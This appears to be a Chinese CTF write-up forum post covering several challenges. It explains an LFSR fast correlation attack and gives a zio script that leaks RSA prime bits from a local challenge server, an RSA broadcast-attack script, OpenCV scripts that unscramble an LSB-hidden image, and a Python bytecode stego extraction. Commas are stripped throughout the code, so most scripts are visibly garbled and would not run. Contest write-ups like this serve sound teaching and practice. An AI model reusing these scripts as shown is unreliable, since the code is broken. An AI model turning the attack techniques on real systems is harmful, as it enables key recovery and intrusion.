本题目是考察快速相关攻击的题目,请阅读相关论文。首先三个lfsr的初态分别为17bit,19bit和21bit,其中17bit和21bit的LFSR的输出在使用GEFFE之后有3/4的概率等于密钥流,那么通过最小生成式可以在5次之后以99.999...%以上的概率得到每个lfsr的原始输出,然后使用BM算法可以得到初态,至于19bit的LFSR可以通过爆破的方式获得。初态hex之后就是flag

Untitled

这个题目出题失误,第一步很多队伍都是直接输入的空的x,其实目的是为了构造模n相同的字符串。

这个题目两个考点,一个是考察审计py后构造在模n条件下与"flag"相同的字符串,获得p的部分bit。然后用格基规约去解已知部分高bitp的情况下的全部p。但是这里我少给了8个bit的信息,所以需要通过编写合适的程序进行爆破。

from zio import *
import hashlib
target=("127.0.0.1",20000)
def solve_proof(io):
    salt = io.read_until("\n").decode("base64")
    io.read_until("work: ")
    for i1 in range(0xff):
        for i2 in range(0xff):
            for i3 in range(0xff):
                for i4 in range(0xff):
                    if hashlib.md5(salt+chr(i1)+chr(i2)+chr(i3)+chr(i4)).hexdigest().startswith("0000"):
                        io.write((chr(i1)+chr(i2)+chr(i3)+chr(i4)).encode("base64"))
                        return
 
def exp(target):
    io=zio(target)
    solve_proof(io)
    io.read_until("n: 0x")
    n=int(io.readline().replace("L","").strip(),16)
    io.readline()
    io.read_until("c: 0x")
    c=int(io.readline().replace("L""").strip()16)
    io.read_until("u: 0x")
    u = int(io.readline().replace("L""").strip()16)
    tmp=int("flag".encode("hex")+"ff"16)<<2048
    tmp=tmp-(tmp%n)+int("flag".encode("hex")16)
    io.read_until("x: ")
    io.writeline(hex(tmp)[2:][8:].strip("L"))
    io.read_until("y: ")
    io.writeline(hex(u).strip("0x").strip("L"))
    io.interact()
exp(target)

后面就是泄露高bit p的factor n了。不过少泄露了一些bit,通过爆破即可。

OldDriver

Redbud的wp

RSA 的广播攻击,代码如下:

from functools import reduce 
import gmpy 
import jsonbinascii
 
def modinv(a, m):
    return int(gmpy.invert(gmpy.mpz(a)gmpy.mpz(m)))
 
def chinese_remainder(n, a):
    sum = 0 
    prod = reduce(lambda a, b: a * bn) 
    for n_ia_i in zip(na):
        p = prod // n_i
        sum += a_i * modinv(pn_i) * p 
    return int(sum % prod)
 
nset = [] 
cset = []
with open("data.txt") as f:
    now = f.read().strip('\n')
    now = eval(now)
    print now
    for item in now:
        nset.append(item['n'])
        cset.append(item['c'])
 
m = chinese_remainder(nsetcset)
m = int(gmpy.mpz(m).root(10)[0])
print binascii.unhexlify(hex(m)[2:-1])

Misc

3RD_LSB

用工具LSBHIDE解出hint

Imgur

Imgur

  1. 分析得到

    i. 一维加密

利用key_b(rand_list_pixel_b)、key_g(rand_list_pixel_g)和key_r(rand_list_pixel_r)三张表,将基本结构体内部bit顺序进行顺序打乱

Imgur

i. 二维加密

利用key_x(rand_list_pixel_XX)和key_x(rand_list_pixel_YY)两张表将基本结构体进行顺序打乱(X和Y两个坐标)

Imgur

直接用key_b、key_g、key_r解出如下图样,具体无法辨别

Imgur

对两个10位的变换序列进行爆破,爆破的依据应该是几个4*4(上一步后的像素)块的连接处的像素之差绝对值的累计较低(用以减少人工判断的复杂度,阈值自定),可选取部分有字的区域(例如WHC)。

4 * 4   4 * 4   4 * 4
 
4 * 4   4 * 4   4 * 4
 
4 * 4   4 * 4   4 * 4

得到贴近的key_x,key_y

Imgur

从而解出flag

Imgur

Decode0.py

import cv2
import random
import numpy as np
rand_list_pixel_b = (64532107)
rand_list_pixel_g = (53762041)
rand_list_pixel_r = (75304621)
def FLAG_DCD():
    canvas = np.zeros((3004803),dtype="uint8")
    image = cv2.imread(r"question.bmp")
    for XX in range(0,300):
        for YY in range(0,480):
            rand_b = image[3 * XX + 13 * YY + 10] & 0b1
            rand_g = image[3 * XX + 13 * YY + 11] & 0b1
            rand_r = image[3 * XX + 13 * YY + 12] & 0b1
            idx = 0
            #print "" 
            for x in range(0,3):
                for y in range(0,3):
                    if x==1 and y==1:
                        continue
                    #print image[3 * XX + x, 3 * YY + y, 0] & 0b1 ^ rand_b, 
                    #print canvas[XX, YY, 0], 
                    canvas[XXYY0] += (((image[3 * XX + x3 * YY + y0] & 0b1) ^ rand_b) << ((rand_list_pixel_b[idx])))
                    canvas[XXYY1] += (((image[3 * XX + x3 * YY + y1] & 0b1) ^ rand_g) << ((rand_list_pixel_g[idx])))
                    canvas[XXYY2] += (((image[3 * XX + x3 * YY + y2] & 0b1) ^ rand_r) << ((rand_list_pixel_r[idx])))
                    #print bin(canvas[XX, YY, 0]), 
                    #print canvas[XX, YY, 0], 
                    idx += 1
                    #print image[XX + x, YY + y],XX + x, YY + y 
    cv2.imwrite("flag_dcd_step0.bmp"canvasparams=None)
 
FLAG_DCD()

Decode1.py

import cv2
from itertools import permutations
import random
import numpy as np
image = cv2.imread(r"flag_dcd_step0.bmp")
from itertools import permutations
def count_chaos(img):
    chaos = 0L
    for xx in range(0,300):
        for yy in range(0480):
            try:
                chaos += abs(long(img[xx,yy,0]) - long(img[xx+1,yy,0]))
            except:
                pass
            try:
                chaos += abs(long(img[xx,yy,0]) - long(img[xx-1,yy,0]))
            except:
                pass
            try:
                chaos += abs(long(img[xx,yy,0]) - long(img[xx,yy+1,0]))
            except:
                pass
            try:
                chaos += abs(long(img[xx,yy,0]) - long(img[xx,yy-1,0]))
            except:
                pass
    return chaos
dic = (permutations((0,1,2,3)))
dic2 = (permutations((0,1,2,3)))
dic = list(dic)
dic2 = list(dic2)
random.shuffle(dic)
random.shuffle(dic2)
dicc = []
for rand_list_pixel_XX in dic:
    for rand_list_pixel_YY in dic2:
        dicc.append((rand_list_pixel_XX,rand_list_pixel_YY))
random.shuffle(dicc)
#print dic 
#''' 
for tmp in dicc:
    rand_list_pixel_XX = tmp[0]
    rand_list_pixel_YY = tmp[1]
    canvas = np.zeros((3004803)dtype="uint8")
    print rand_list_pixel_XXrand_list_pixel_YY,
    for XX in range(140160):
        for YY in range(2060):
            idx = 0
            # print "" 
            canvas[XXYY] = image[XX / 4 * 4 + rand_list_pixel_XX[XX % 4]YY / 4 * 4 + rand_list_pixel_YY[YY % 4]]
    chaos =  count_chaos(canvas)
    print chaos
    if chaos < 150000:
        cv2.imshow('image',canvas)
        cv2.waitKey(0)
#''' 
canvas = np.zeros((3004803)dtype="uint8")
rand_list_pixel_XX = (2013)
rand_list_pixel_YY = (3012)
for XX in range(0300):
    for YY in range(0480):
        idx = 0
        # print "" 
        canvas[XXYY] = image[XX/4*4 + rand_list_pixel_XX[XX%4]YY/4*4 + rand_list_pixel_YY[YY%4]]
cv2.imshow('image',canvas)
cv2.waitKey(0)

Py-Py-Py

pyc是个假象

估计一开始选手拿到题目会尝试反编译pyc

会发现 一个Hint 告诉选手这是一个误区~ 这是一个python的隐写题目

用于在Python字节码中嵌入Payload的隐写方法

python36 stegosaurus.py pycache/pystego.cpython-36-stegosaurus.pyc -x
 
Extracted payloadFlag{HiD3_Pal0ad1n_Python}
请先登录
+1 已点过赞
9
分享到:
登录后才能发贴或参与互动哦! 点击登录

全部评论 (3)

Binlmmhc 2017-09-19 22:47:03
感谢各位大佬的奉献。
回复
请先登录 0 +1 已点过赞
sn4key 2017-09-20 09:36:49
期待已久的wp终于出现了
回复
请先登录 0 +1 已点过赞
mario55 2017-09-20 11:00:25
大佬666啊
回复
请先登录 0 +1 已点过赞